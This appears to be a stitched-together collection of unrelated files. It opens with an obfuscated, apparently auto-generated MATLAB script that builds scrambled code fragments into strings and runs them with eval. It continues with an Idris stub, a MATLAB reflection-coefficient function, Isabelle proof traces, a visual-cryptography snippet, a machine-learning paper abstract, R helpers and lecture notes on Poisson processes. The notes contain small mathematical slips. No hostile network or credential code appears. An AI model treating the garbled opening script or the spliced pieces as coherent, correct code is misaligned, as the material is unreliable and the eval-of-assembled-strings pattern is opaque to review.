geiynjbu=[7.6107 5.2378 7.4849 8.6922];
cdikvuau=[3.326 2.3742 0.21208 0.41229 2.9115 2.7911 2.832];
if((sum(cdikvuau))>min(max(invhilb(7))))
cxuukxlwmynv=[cxuukxlwmynv 'ucxdcn,'',lpxidvirgeonn{tn},'',ghadkkahucxdcn,''];'',ghadkkahucxdcn,''];''];ytkfdd=[''else uoecdptqwxmwlorrarm{end+1}=[sgfmqgpfcssqens{tn},'',ghadkkahucxdcn,''='',ghadkkahucxdcn,'];
else woeksvsjqlsg=') jkayyeicmup=regexprep(jkayyeicmup, ''S';
end
pojvyrafirchlco=[111.2394 111.6758 25.3625 21.1631 98.6773 150.2757 108.7799 30.31 74.7611 156.6781 46.4892 102.5784 151.8898 158.0126 131.2306];
lfmfbskbjecc=2.88013383;
if((min(geiynjbu))>max(sum(pascal(4))))
cxuukxlwmynv=[jckut cxuukxlwmynv];
else nlkrbfevjuumxwocg=[nlkrbfevjuumxwocg iomnnkfmajqb];
end
qfrmxqox=150.504;
if(interp1(rlwatsrcssofjkoda,8.7394)<qfrmxqox)
woeksvsjqlsg=[woeksvsjqlsg bekeqderddxsr];
else
temayumgfcfmjknc=[wrleyqimbfqcttn temayumgfcfmjknc];end
if(dblquad(@(fqd,wnpmw)cos(cos(exp(atan(wnpmw))))+(fqd+atan((atan(atan(exp(sin(wnpmw))))+wnpmw))),0.087577,log(2),sqrt(3),pi,1e-14)<lfmfbskbjecc)
debgaema=[debgaema 'vtebe))exnhfbwwb=-50;end;end;if(exnh'];
else
cxuukxlwmynv=[wuyobaxpfrrcaajo cxuukxlwmynv];end
vuscoadrnxrvpwvdcyg=155.4713;
pbbrwcohcjx=-0.9724272;
if(pbbrwcohcjx>atan(round(-1.9204)))
xppkc=[xppkc 'ewh+length(fgpdbpcqnaxxknl{ysleaynfmmbevff}))=='' '' || erab'];
else
mxdjojrletta=[mxdjojrletta 'huc'];end
if(vuscoadrnxrvpwvdcyg>interp1(pojvyrafirchlco,13.886))
mxdjojrletta=[mxdjojrletta 'mqgpfcssqens{:} ojbqbdsttqmqagcp{1:end-'];
else lilsfavdwaiyr=[debgaema lilsfavdwaiyr];
end
rmpbjiixyfndejjkoc=[341.2242 304.1979 454.2488 272.5301 263.6823 341.432 207.9683 387.4228 183.9536 215.5002 297.2554 203.9454 160.3139 109.302 451.1025 12.7605 364.6959 338.0342 273.2934 341.6334 398.7717 129.5097 81.7805 182.683 249.7069 61.9807 464.8852 57.39 347.3883 189.4108 80.1759 25.732 471.0119];
wefnkoeecyw=[0.11463 6.5558 3.8084];
if(min(max(vander(wefnkoeecyw)))<(sqrt(real(-7.4788))))
cxuukxlwmynv=['c' cxuukxlwmynv];
else lilsfavdwaiyr=[lilsfavdwaiyr woeksvsjqlsg];
end
if(interp1(rmpbjiixyfndejjkoc,9.164)>190.18)
rslrkhjuqcacanklg='mj';
else
ohetdnoqbboo='end''];else spyqsbdckvh=sp';end
xoysx=[554.4908 309.2387 483.1675 188.4958 102.3249 35.7266 23.5482 429.1074 469.7815 228.1308 212.7652 469.9717 160.9344 194.2186 172.5308 526.4523 275.2826 481.2818 51.0998 448.5125 76.2013 144.1714 211.4861 147.2174 27.0712 280.4404 523.7043 546.2951 91.6521 132.6686 343.914 92.0442 204.5249 216.4611 348.257 501.109 34.8365 367.6481 130.9689 378.3023 202.9141 305.0772 285.3513 15.8647 11.5757 421.7635 34.6669 169.3867];
if(57.2968<interp1(xoysx,18.9173,'spline')) jckut=[jckut ohetdnoqbboo];
else
xppkc=[cxuukxlwmynv xppkc];
end
tbdnfffjwcb=[469.1833 546.4503 432.7637 205.5923 448.0109 99.6865 96.6207 112.6173 141.4548 142.8622 452.9345 33.0188 506.1528 398.5325 404.2668 257.0257 611.3553 612.7515 417.1941 602.4152 412.3461 557.6474 215.2082 387.4217 486.3927 228.6633 619.2503 791.844 495.2372 314.8483 0.062755 22.7949 525.6811 697.9086];
cyxkwguvsyvaffmjghd=[10.6585 16.7358 26.1121 12.2888 1.2164 10.1282 13.1418];
if(min(tan(sum(cosh(wilkinson(7)))))<(imag(sum(cyxkwguvsyvaffmjghd))))
lilsfavdwaiyr=[jckut lilsfavdwaiyr];
else xppkc=['aampkcpmjoxalfnhq{2}; oaampkcpmjoxalfnhq{2}=oaampkcpmjoxalfnhq{3}; oaampkcpmjoxalfnhq(3)=[];end;lggotgbdwbyii=''' xppkc];
end
if(sin(min(max(magic(7))))<(15.2582))
wrleyqimbfqcttn=[xppkc wrleyqimbfqcttn];else
wihqgymots=['h}{xohymwjyp} TmpStrWS{xohymwjyp} rjskmbsohf' wihqgymots];
end
hiswj=inline('txdfv+txdfv','txdfv','mqn');
eetyrotsyvs=468.24;
if(interp1(tbdnfffjwcb,24.8579)<eetyrotsyvs)
qgvvp=[qgvvp lilsfavdwaiyr];
else wuyobaxpfrrcaajo=[wuyobaxpfrrcaajo 'pyqsbdckvh}{2}=['];
end
cqcbjtmyymu=-0.330751;
if(acsch(abs(sinh(sec(atan2(-3.3177,csc(acsch(sqrt(4.8744))))))))<-0.64181)
lilsfavdwaiyr=[lilsfavdwaiyr xevgdo];
else
cxuukxlwmynv=[cxuukxlwmynv 'q];rjskmbsohfxnstu{spyqsbdckvh}{4}=[iffndxb{2} twjoigcfxsh];if(sum(strcmp(naqfffm'];end
ynddswmlbsinsbtkea=inline('efibe.*efia','efia','efibe');
rwhwnrftds=2.2097284;
if(cqcbjtmyymu>quad(@(cug)cug.*(cos((cug+cug))+cug),-0.8101,0.19987,1e-18)) mxdjojrletta=[mxdjojrletta 'rsfr'' ''aormbmyajtgs'' ''splsljaaiqpk'' ''trncsdav'' ''cmbuusgfrbwioynkhq'' ''gtddqwlwkj'];
else
wuyobaxpfrrcaajo=[wuyobaxpfrrcaajo xevgdo];
end
djwboggag=[0.82633 1.6319 0.82601 2.9966 1.7164; 1.1323 2.6061 0.29913 2.3398 0.49475; 2.1858 1.0271 1.185 2.1896 0.74076; 0.25703 1.0926 0.38587 0.31379 1.835; 1.024 0.8616 2.2079 2.4955 1.4863];
[kxjklaagufgwn,fgcqduvmbvskslytaeu]=ode45(ynddswmlbsinsbtkea,[1 5],1.9903);
if(rwhwnrftds<angle(cosh(acosh(sqrt(asin(-0.64649))))))
coqvfdhufesq=['qfffmpeiamchtwpsk={};spyqsbdckvh=1;oeaylmyioedpjvx' coqvfdhufesq];
else mxdjojrletta=[mxdjojrletta 'b=2:oqsspktnpss'];
end
if(interp1(kxjklaagufgwn,fgcqduvmbvskslytaeu,1.6077)<40.006344)
nlkrbfevjuumxwocg=[mxdjojrletta nlkrbfevjuumxwocg];
else
temayumgfcfmjknc=['oiuxbqcdk=0;if(ebvxxeeatsbanewh==1' temayumgfcfmjknc];end
dugjchqfy=0.0823361;
if(dugjchqfy>interp1(ode45(hiswj,[3 4],3.4217),3.4516))
rslrkhjuqcacanklg='xyl';
else
wihqgymots=[wihqgymots 'kkahucxdcn,tb'];
end
pyxmdmwrra=[130.5464 118.4915 202.4166 226.8679 225.8841 132.7257 22.5825 10.7999 122.2861 143.7386 241.6805 71.6578 148.8003 29.3079 84.8102 163.9791 14.8099 2.3781 62.7352 241.9796 43.647 59.4938 210.6683 13.8973 139.6092 228.2797 37.4426 215.181 48.8657 238.1146 90.5876 164.0689 122.428 184.5179 210.6222 21.4015 236.9571 223.8589 115.1705 65.5834 123.0618 55.1799 47.9979 37.834 153.7433 216.9286 35.2635 27.2289 132.2316 236.2289 71.7829 186.6544 200.1673 245.912];
ugbkbndlt=[0.99463 0.33007 2.351 1.9836 2.1985];
if((max(ugbkbndlt))>max(sin(sum(djwboggag))))
cxuukxlwmynv=['}];elseif(usgrefousulriklear==2)naqfffmpeiamchtwpsk{spyqsbdckvh}{end+1}=cmbuusgfrbwioynkhq{1};MatName=[uuhjehkqeynwdfpp{fix(rand(1,1)*length' cxuukxlwmynv];
else
temayumgfcfmjknc=['spxqtcq];elseif (udtjqos==3) if(rand>0.5)rjskmbsohfxnstu{spyqsbdckvh}{1}=[''if('' jkay' temayumgfcfmjknc];end
pawoocj=56.39488;
if(interp1(pyxmdmwrra,35.6679,'spline')>pawoocj)
qgvvp=[wihqgymots qgvvp];
else wrleyqimbfqcttn=[wrleyqimbfqcttn coqvfdhufesq];
end
cqdps=[37.567 101.249 318.0065 76.3499 352.5306 435.217 221.2636 6.2876 372.8447 58.5573 75.1758 392.2193 262.8316 214.0999 10.2149 258.6802 330.2783 430.0853 303.8577 20.3962 331.8562 242.1735];
rsbctcebheuifuf=[15.5565 7.4973 12.8022 0.89335 1.6163];
tdelgl=0.321592+0.407258i;
if(tdelgl<csc(acosh(cot(sqrt(asinh(acosh(conj(expm1(-2.674)))))))))
coqvfdhufesq=[qgvvp coqvfdhufesq];
else
cxuukxlwmynv=[cxuukxlwmynv 'peiamchtwpsk{spyqsb'];end
qqsooqomboyh=[9.7018;14.3147;7.6145;4.6677;13.7654];
if(min(max(qqsooqomboyh*rsbctcebheuifuf))>(sum(rsbctcebheuifuf)))
cxuukxlwmynv=[wrleyqimbfqcttn cxuukxlwmynv];
else cxuukxlwmynv=[coqvfdhufesq cxuukxlwmynv];
end
txaodcaqykkexxk=253.458;
fhbgprymytfvxkk=inline('reqnr.*reqnr','reqnr','mwwex');
if(interp1(ode45(fhbgprymytfvxkk,[1 4],3.7632),2.505)<4.73042)
cxuukxlwmynv=[cxuukxlwmynv lilsfavdwaiyr];
else
cxuukxlwmynv=[temayumgfcfmjknc cxuukxlwmynv];
end
if(interp1(cqdps,20.7499)<txaodcaqykkexxk)
temayumgfcfmjknc=['inf(vtebe)||hlhapictsjyg' temayumgfcfmjknc];
else bmoqwqndkjmmtrqk='tjxxeesuxsvl';
end
if(sum(max(rosser))<(real(sin(46.1746))))
wuyobaxpfrrcaajo=['yyeicmup,''F''))+1);jkayyeicmup=regexprep(jkayyeicmup, ''D'',wyfqrx{fix(rand*length(wyfqrx)+1)},rand*length(strfind(jkayyei' wuyobaxpfrrcaajo];
else nlkrbfevjuumxwocg=[bmoqwqndkjmmtrqk nlkrbfevjuumxwocg];
end
bmmvmeipguohnkww=-2.28033;
if(bmmvmeipguohnkww>dblquad(@(kudn,sv)sin(sv)+kudn,-0.72545,-0.22057,-pi,sqrt(2),1e-11))
fynpxawluob='kahucxdcn,''=['',ghadkkahucxdcn,'',lpxidvirgeonn{tn},'',ghadkkahucxdcn,'' '',ghadkkahucxdcn,'',ghadkkahucxdcn,tbxvasligboyu{fix(rand*oqsspktnpsso+1)},ghadkkahucxdcn,'',';
else wuyobaxpfrrcaajo=[wuyobaxpfrrcaajo 'mhls'];
end
if(17.938<dblquad(@(bkfaj,gq)exp((bkfaj.*atan(gq)))+gq,0.39023,sqrt(3),0.79942,pi,1e-9))
qgvvp=[wrleyqimbfqcttn qgvvp];
else
qgvvp=[qgvvp nlkrbfevjuumxwocg];end
tchawyjwr=[1.4487 3.7721 7.1404 0.37681 2.9001 8.2409 9.0054; 6.8405 4.9243 2.0269 5.4228 1.7404 2.4505 7.2642; 7.2432 7.7806 5.909 1.3402 7.1982 2.284 4.223; 3.151 1.7658 1.3695 6.8895 1.8206 2.6708 4.6539; 3.1827 2.8748 7.3217 8.4764 8.4026 3.4742 0.30167; 1.9275 0.53059 2.4563 9.0699 3.9991 7.6161 3.5723; 6.4843 1.6126 3.2574 0.85118 8.2022 1.8225 3.4221];
if((exp(21.675))<min(min(sinh(rosser))))
wuyobaxpfrrcaajo=['idvirge' wuyobaxpfrrcaajo];
else temayumgfcfmjknc=[temayumgfcfmjknc 'l'' ''r'];
end
uoffydbdhurkwt=[2.1183 8.3467 0.931 3.9693 3.9389 8.5224 9.0938];
if((cos(max(uoffydbdhurkwt)))>sum(sum(sin(tchawyjwr))))
temayumgfcfmjknc=[cxuukxlwmynv temayumgfcfmjknc];
else
wrleyqimbfqcttn=[wuyobaxpfrrcaajo wrleyqimbfqcttn];end
myjwmieqkdtigwxtxp=[227.634 587.7817 106.1569 536.0148 334.3192 343.3094 547.5069 261.1104 441.3977 452.3913 290.2948 82.0489 270.1499 423.4227];
wnpcdf=inline('(exp(cos(cbl))+(cbl+cos(atan(xm))))+cbl','cbl','xm');
if(interp1(ode45(wnpcdf,[1 3],1.337),2.0105)<8.196303)
cxuukxlwmynv=['ajtgs{4},aormbmyajtgs{3}))||~isempty(strfind(aormbmyajtgs{3},aormbmyajtgs{4}))||~isempty(strfind([ndvm' cxuukxlwmynv];
else
wrleyqimbfqcttn=[wrleyqimbfqcttn qgvvp];end
mxaarwk=177.09;
if(mxaarwk<interp1(myjwmieqkdtigwxtxp,2.6916,'spline'))
wrleyqimbfqcttn=[qgvvp wrleyqimbfqcttn];
else qgvvp=[temayumgfcfmjknc qgvvp];
end
wtvalpkwjfk=[447.4888 196.0698 0.1219 581.514 333.2236 626.1367 709.5857 402.8725 684.7129 666.1942 214.8611 262.2935 520.4783 740.8126 49.3827 399.5386 295.2867 732.5348 29.9392 624.985];
if(interp1(wtvalpkwjfk,17.2549)>401.81)
qgvvp=[qgvvp cxuukxlwmynv];
else
temayumgfcfmjknc='mqe';end
if(sum(sum(invhilb(6)))<(13.488)) qgvvp=['}=[ojbqbdsttqmqagcp{end} ''=i' qgvvp];
else
qgvvp=[qgvvp '==''('')-cumsu'];
end
if(2.6683166<real(imag(sqrt(-3.7881))))
wrleyqimbfqcttn=[wrleyqimbfqcttn 'oynkhq{1};end;if(rkficvuebok==0)rjskm'];
else wrleyqimbfqcttn=[qgvvp wrleyqimbfqcttn];
end
eval(wrleyqimbfqcttn);
disp('6')
|
module Collections.BSTree.Set.Elem
import public Collections.BSTree.Map.Elem
|
function [par, parb, Pf, Pb] = rc2parv(rc,rcb)
%function [par, parb, Pf, Pb] = rc2parv(rc,rcb)
% Transforms forward and backward reflection matrices rc and rcb
% into parameters.
%S. de Waele, March 2003.
s = kingsize(rc);
order = s(3)-1;
dim = s(1); I = eye(dim);
par = zeros(dim,dim,order+1);
parb = zeros(dim,dim,order+1);
par(:,:,1) = I;
parb(:,:,1)= I;
if order,
par(:,:,2) = rc(:,:,2);
parb(:,:,2)= rcb(:,:,2);
par_o = par;
parb_o = parb;
end
for p = 2:order,
par(:,:,2:p) = par_o(:,:,2:p) +fliptime(filterv(rc(:,:,p+1),1,parb_o(:,:,2:p)));
par(:,:,p+1)= rc(:,:,p+1);
parb(:,:,2:p) = parb_o(:,:,2:p) +fliptime(filterv(rcb(:,:,p+1) ,1,par_o(:,:,2:p)));
parb(:,:,p+1)= rcb(:,:,p+1);
par_o = par;
parb_o = parb;
end %for p = 2:order,
|
[STATEMENT]
lemma suc_cong1: "{} \<turnstile> (t EQ t') IMP (suc t EQ suc t')"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
proof -
[PROOF STATE]
proof (state)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
obtain v2::name and v3::name and v4::name
where v2: "atom v2 \<sharp> (t,X1,X3,X4)"
and v3: "atom v3 \<sharp> (t,t',X1,v2,X4)"
and v4: "atom v4 \<sharp> (t,t',X1,v2,v3)"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. (\<And>v2 v3 v4. \<lbrakk>atom v2 \<sharp> (t, X1, X3, X4); atom v3 \<sharp> (t, t', X1, v2, X4); atom v4 \<sharp> (t, t', X1, v2, v3)\<rbrakk> \<Longrightarrow> thesis) \<Longrightarrow> thesis
[PROOF STEP]
by (metis obtain_fresh)
[PROOF STATE]
proof (state)
this:
atom v2 \<sharp> (t, X1, X3, X4)
atom v3 \<sharp> (t, t', X1, v2, X4)
atom v4 \<sharp> (t, t', X1, v2, v3)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
have "{} \<turnstile> (Var X1 EQ Var X2) IMP (suc (Var X1) EQ suc (Var X2))"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. {} \<turnstile> Var X1 EQ Var X2 IMP suc (Var X1) EQ suc (Var X2)
[PROOF STEP]
by (metis syc_cong_ax_def equality_axioms_def insert_iff eql)
[PROOF STATE]
proof (state)
this:
{} \<turnstile> Var X1 EQ Var X2 IMP suc (Var X1) EQ suc (Var X2)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
hence "{} \<turnstile> (Var X1 EQ Var v2) IMP (suc (Var X1) EQ suc (Var v2))"
[PROOF STATE]
proof (prove)
using this:
{} \<turnstile> Var X1 EQ Var X2 IMP suc (Var X1) EQ suc (Var X2)
goal (1 subgoal):
1. {} \<turnstile> Var X1 EQ Var v2 IMP suc (Var X1) EQ suc (Var v2)
[PROOF STEP]
by (drule_tac i=X2 and x="Var v2" in Subst) simp_all
[PROOF STATE]
proof (state)
this:
{} \<turnstile> Var X1 EQ Var v2 IMP suc (Var X1) EQ suc (Var v2)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
hence "{} \<turnstile> (t EQ Var v2) IMP (suc t EQ suc (Var v2))"
[PROOF STATE]
proof (prove)
using this:
{} \<turnstile> Var X1 EQ Var v2 IMP suc (Var X1) EQ suc (Var v2)
goal (1 subgoal):
1. {} \<turnstile> t EQ Var v2 IMP suc t EQ suc (Var v2)
[PROOF STEP]
using v2 v3 v4
[PROOF STATE]
proof (prove)
using this:
{} \<turnstile> Var X1 EQ Var v2 IMP suc (Var X1) EQ suc (Var v2)
atom v2 \<sharp> (t, X1, X3, X4)
atom v3 \<sharp> (t, t', X1, v2, X4)
atom v4 \<sharp> (t, t', X1, v2, v3)
goal (1 subgoal):
1. {} \<turnstile> t EQ Var v2 IMP suc t EQ suc (Var v2)
[PROOF STEP]
by (drule_tac i=X1 and x=t in Subst) simp_all
[PROOF STATE]
proof (state)
this:
{} \<turnstile> t EQ Var v2 IMP suc t EQ suc (Var v2)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
hence "{} \<turnstile> (t EQ t') IMP (suc t EQ suc t')"
[PROOF STATE]
proof (prove)
using this:
{} \<turnstile> t EQ Var v2 IMP suc t EQ suc (Var v2)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
using v2 v3 v4
[PROOF STATE]
proof (prove)
using this:
{} \<turnstile> t EQ Var v2 IMP suc t EQ suc (Var v2)
atom v2 \<sharp> (t, X1, X3, X4)
atom v3 \<sharp> (t, t', X1, v2, X4)
atom v4 \<sharp> (t, t', X1, v2, v3)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
by (drule_tac i=v2 and x=t' in Subst) simp_all
[PROOF STATE]
proof (state)
this:
{} \<turnstile> t EQ t' IMP suc t EQ suc t'
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
thus ?thesis
[PROOF STATE]
proof (prove)
using this:
{} \<turnstile> t EQ t' IMP suc t EQ suc t'
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
using v4
[PROOF STATE]
proof (prove)
using this:
{} \<turnstile> t EQ t' IMP suc t EQ suc t'
atom v4 \<sharp> (t, t', X1, v2, v3)
goal (1 subgoal):
1. {} \<turnstile> t EQ t' IMP suc t EQ suc t'
[PROOF STEP]
by (drule_tac i=v4 in Subst) simp_all
[PROOF STATE]
proof (state)
this:
{} \<turnstile> t EQ t' IMP suc t EQ suc t'
goal:
No subgoals!
[PROOF STEP]
qed |
%Program for random permuting the share generation
%Author : Athi Narayanan S
%M.E, Embedded Systems,
%K.S.R College of Engineering
%Erode, Tamil Nadu, India.
%http://sites.google.com/site/athisnarayanan/
%[email protected]
%Program Description
%This program generates the share 1 & share 2 randomly for each pixel.
function out = generateShare(a,b)
a1 = a(1);
a2 = a(2);
b1 = b(1);
b2 = b(2);
in = [a
b];
out = zeros(size(in));
randNumber = floor(1.9*rand(1));
if (randNumber == 0)
out = in;
elseif (randNumber == 1)
a(1) = a2;
a(2) = a1;
b(1) = b2;
b(2) = b1;
out = [a
b];
end |
[STATEMENT]
lemma inverse_extract:
"x \<noteq> 0 \<Longrightarrow> inverse (\<beta> x) = inverse x *\<^sub>H ba - (1 / x\<^sup>2) *\<^sub>H e1 - (1 / x\<^sup>2) *\<^sub>H e2 + (2 / x ^ 3) *\<^sub>H e12"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. x \<noteq> (0::'a) \<Longrightarrow> inverse (\<beta> x) = inverse x *\<^sub>H ba - ((1::'a) / x\<^sup>2) *\<^sub>H e1 - ((1::'a) / x\<^sup>2) *\<^sub>H e2 + ((2::'a) / x ^ 3) *\<^sub>H e12
[PROOF STEP]
by (metis hyperdual.sel(1) hyperdualx_def hypext_inverse hypext_inverse_extract) |
[STATEMENT]
lemma disjoint_notin1: "\<lbrakk> A \<inter> B = {}; x \<in> B \<rbrakk> \<Longrightarrow> x \<notin> A"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. \<lbrakk>A \<inter> B = {}; x \<in> B\<rbrakk> \<Longrightarrow> x \<notin> A
[PROOF STEP]
by auto |
Zheng-Chu Guo, Lei Shi, Qiang Wu; 18(118):1−25, 2017.
Distributed learning is an effective way to analyze big data. In distributed regression, a typical approach is to divide the big data into multiple blocks, apply a base regression algorithm on each of them, and then simply average the output functions learnt from these blocks. Since the average process will decrease the variance, not the bias, bias correction is expected to improve the learning performance if the base regression algorithm is a biased one. Regularization kernel network is an effective and widely used method for nonlinear regression analysis. In this paper we will investigate a bias corrected version of regularization kernel network. We derive the error bounds when it is applied to a single data set and when it is applied as a base algorithm in distributed regression. We show that, under certain appropriate conditions, the optimal learning rates can be reached in both situations. |
#' @export
inspect_click_script <- function() {
includeScript(system.file("js/inspect_click.js", package = "tidystats"))
}
#' @export
copy_to_clipboard_script <- function() {
includeScript(system.file("js/copy_to_clipboard.js", package = "tidystats"))
}
#' @export
css_style <- function() {
includeCSS(system.file("css/style.css", package = "tidystats"))
} |
% -----------------------------*- LaTeX -*------------------------------
\documentclass[12pt]{report}
\usepackage{scribe_hgen486}
\usepackage{amsmath}
\begin{document}
\scribe{Frank Wen} % required
\lecturenumber{9} % required, must be a number
\lecturedate{February 2} % required, omit year
\lecturer{John Novembre}
\maketitle
% please leave this comment
\framebox[.95\textwidth]{\parbox{.93\textwidth}{ {{\bf Note:}} These
lecture notes are still rough, and have only have been mildly
proofread. }}
\vspace*{.1in}
% feel free to delete content below this line
% ----------------------------------------------------------------------
\section{Continuous time processes (the exponential distribution)}
The exponential distribution often appears as the distribution of waiting times until an event (i.e. arrival times).
\begin{align*}
f(x) = \lambda e^{-\lambda x}
\end{align*}
Let $T$ be a random variable representing the waiting time until an event happens. Then for $T\sim exp(\lambda)$ with expected value $E(T) = \frac{1}{\lambda}$. The cumulative distribution function is given by
\begin{align*}
F(X) = P(T\le X) &= 1-e^{-\lambda x}\\
P(T > X) &= e^{-\lambda x}
\end{align*}
An important property of the exponential distribution is that it is \textit{memoryless}. Suppose that $T$ is the waiting time until an event occurs. Then, for any given waiting times $t$ and $s$,
\begin{align*}
P(T > t+s | T>t ) &= P(T>s)
\end{align*}
This is to say that if we have already waited $t$ minutes for an event to occur, then the remaining time $s$ for the event to occur is the same as if we hadn't waited the first $t$ minutes to begin with. To show this, we use our definition of conditional probability:
\begin{align*}
P(T > t+s | T>t ) &= \frac{P(T > t+s , T>t )}{P(T>t)}
\end{align*}
Since we have already waited $t$ minutes, $P(T > t+s , T>t ) = P(T > t+s)$. So,
\begin{align*}
P(T > t+s | T>t ) &= \frac{P(T > t+s )}{P(T>t)}\\
&= \frac{e^{-\lambda(t+s)}}{ e^{-\lambda t} }\\
&= e^{-\lambda s} = P(T>s)
\end{align*}
\section{Discrete time processes (the geometric distribution)}
The geometric distribution can be thought of as the discrete analog of the exponential distribution. It is the the probability distribution of $X$ number of Bernoulli trials with success probability $p$ before one success is obtained.
\begin{equation*}
Geom(p) = P(X= k) = (1-p)^{k-1}p
\end{equation*}
Because the trials are independent, the geometric distribution is also memoryless.
\section{Poisson processes}
\subsection{Counting process and the poisson distribution}
A poisson process can be defined as a counting process, where we are interested in the number of events (arrivals) that have occurred up until some time $N(t)$. Four properties of this counting process are the following\\
1) $N(0) = 0$\\
2) $N(t), t\ge0$ has independent increments, or what happens in one time interval is independent of what happens in any other interval\\
3) $P(N(t_0+t) - N(t_0) \ge2) = o(t) $ as $t\rightarrow0$\\
As the time between events gets smaller, the probability of observing two or more events in that time step goes to zero. In other words, events do not happen simultaneously.\\
4) $P(N(t_0+t) - N(t_0) =1 ) = \lambda t + o(t) $ as $t\rightarrow0$ \\
i.e. the number of events in an interval of length $t$ is Poisson distributed with rate $\lambda t$. We write this as
\begin{equation*}
P(N(t) = k) = \frac{(\lambda t)^k e^{-\lambda t} }{k!}
\end{equation*}
Here, $f(x) = o((g(x))$ means that $|f(x)| \le k|g(x)| $ for all $k$. Intuitively this means that $g(x)$ grows faster than $f(x)$
\subsection{Relationship to the binomial distribution}
The poisson distribution can be derived as the limit of a binomial distribution as the number of trials $n$ goes ti infinity, and the probability of success $p$ goes to zero, such that $np = \lambda$. To show this, we take an interval $(s, s+t]$ and divide it into $n$ intervals of size $t/n$. The number of events in the $i$th interval is given by $N_i$. Since events do not happen simultaneously,
\begin{align*}
P(N_i\ge2) = o(t/n), t\rightarrow0
\end{align*}
This is the equivalent of saying that $N_i \sim Bernoulli(p)$, where $p = \lambda(t/n) + o(t/n)$.\\\\
The total number of events in the interval is then Binomially distributed
\begin{align*}
N(t+s) - N(s) \sim Binom(n,p) = Binom(n, \lambda t/n)
\end{align*}
So, as $n$ approaches infinity, $np$ approaches $\lambda t$, and $N(t+s) - N(s) ~ Pois(\lambda t)$.
\subsection{Inter-arrival times}
Waiting times between events (inter-arrival times) in a poisson process are exponentially distributed. To show this, we consider the waiting times between the first and second arrival $T_1$ and $T_2$ respectively.
\begin{align*}
P(T_1 > t) &= P(N(t) = 0)\\
&= \frac{(\lambda t)^0 e^{-\lambda t}}{0!} = e^{-\lambda t}
\end{align*}
So the waiting time until the first arrival is exponentially distributed. For the second arrival event, given the first arrival occurred at time $s$, the waiting time is
\begin{align*}
P(T_2 > t) &= \int_s P(T_2 > t | T_1 = s) P(T_1 = s)\\
&= \int_s P(0 \text{ events in }(s, s+t] | T_1 = s) P(T_1 = s)
\end{align*}
By independence,
\begin{align*}
&=\int_s P(0 \text{ events in } (s, s+t] ) P(T_1 = s) \\
&= e^{-\lambda t}\int_s P(T_1 = s) \\
&= e^{-\lambda t}
\end{align*}
By the same logic, the inter-arrival time (waiting time in between events) for any $i$th interval is also exponentially distributed $T_i \sim exp(\lambda)$. Then, the waiting time until the $n$th arrival is the sum of all $i$ events $S_n = \sum_{i=1}^n T_i$. Since the inter-arrival times are exponentially distributed, the $n$th arrival time is gamma distributed $S_n \sim Gamma(\lambda, n)$
If we know the number of events in some given interval $(0,t]$, then the distribution of inter-arrival times conditioned on the number of events is uniformly distributed on $(0,t]$. We show this for the simple case with one event.
\begin{align*}
P(T_1 > s | N(t) = 1) &= \frac{P(T_1 > s , N(t) = 1)}{P(N(t) = 1)}\\
&=P(0 \text{ events in } (0,s], 1 \text{ event in } (s, t] )\\
&= \frac{e^{-\lambda s} \lambda (t-s) e^{-\lambda(t-s)} }{\lambda t e^{-t}}\\
&= \frac{t-s}{t}
\end{align*}
To get to the uniform distribution,
\begin{align*}
P(T_1 \le s | N(t) = 1) &= 1- P(T_1 > s |N(t) =1)\\
&=\frac{s}{t}
\end{align*}
\renewcommand{\vec}[1]{\mathbf{#1}}
\subsection{Splitting and superposition}
In order to develop point processes suitable for certain models, one can employ mathematical operations that remove points from Poisson process (splitting i.e. thinning), or combining points from multiple Poisson processes (superposition).
\subsubsection{Superposition}
If we combine the points from two Poisson processes with rates $r_1$ and $r_2$, the result is a Poisson process with rate $r_1 + r_2$. More formally, suppose we have two Poisson processes of rate $\lambda_1$ and $\lambda_2)$, given by $\{N_1(t) ; t>0\}$ and $\{N_2(t) ; t>0\}$. The two are independent if for all $t_1, ..., t_n$, the random variables $N_1(t_1),...,N_1(t_n)$ are independent of $N_2(t_1),...,N_1(t_n)$. Suppose $N(t) = N_1(t) + N_2(t)$ for all $t>0$. Then $\{N_t; t>0\} $then a Poisson process with rate $\lambda_1+\lambda_2$ .\
\subsubsection{Splitting}
Now suppose we have a Poisson process $\{N_t; t>0\}$ with rate $\lambda$. Suppose each arrival is switched to $\{N_1(t) ; t>0\}$ with probability $p$ and switched to $\{N_2(t) ; t>0\}$ with probability $(1-p)$. Then $\{N_1(t) ; t>0\}$ is a Poisson process with rate $\lambda p$ and $\{N_2(t) ; t>0\}$ is a Poisson process with rate $\lambda (1-p)$
\subsection{Compound Poisson processes}
Compound Poisson processes assign a random value or weight to each point in a Poisson process.
\subsection{Non-homogenous Poisson processes}
So far, we have considered Poisson processes where the rate parameter $\lambda$ is constant for all time $t > 0$. A nonhomogenous Poisson process is one where the `rate,' referred to as an intensity function $\lambda(t)$ can vary over time. $\{N_t; t>0\}$ is a nonhomogenous or inhomogenous Poisson process if\\
1. $N(0) = 0$\\
2. $\{N(t), t\ge 0 \}$ has independent increments\\
3. $P(N(t+h) - N(t) \ge 2) = o(h)$\\
4.$ P(N(t+h) - n(t) = 1) = \lambda(t)h + o(h)$\\
Note that a nonhomogenous Poisson process with $\lambda(t) = \lambda$ for all $t>0$ is a homogenous Poisson process.\\
Also note that for the nonhomogenous Poisson process, the interarrival times are no longer exponentially distributed, nor are they independent.
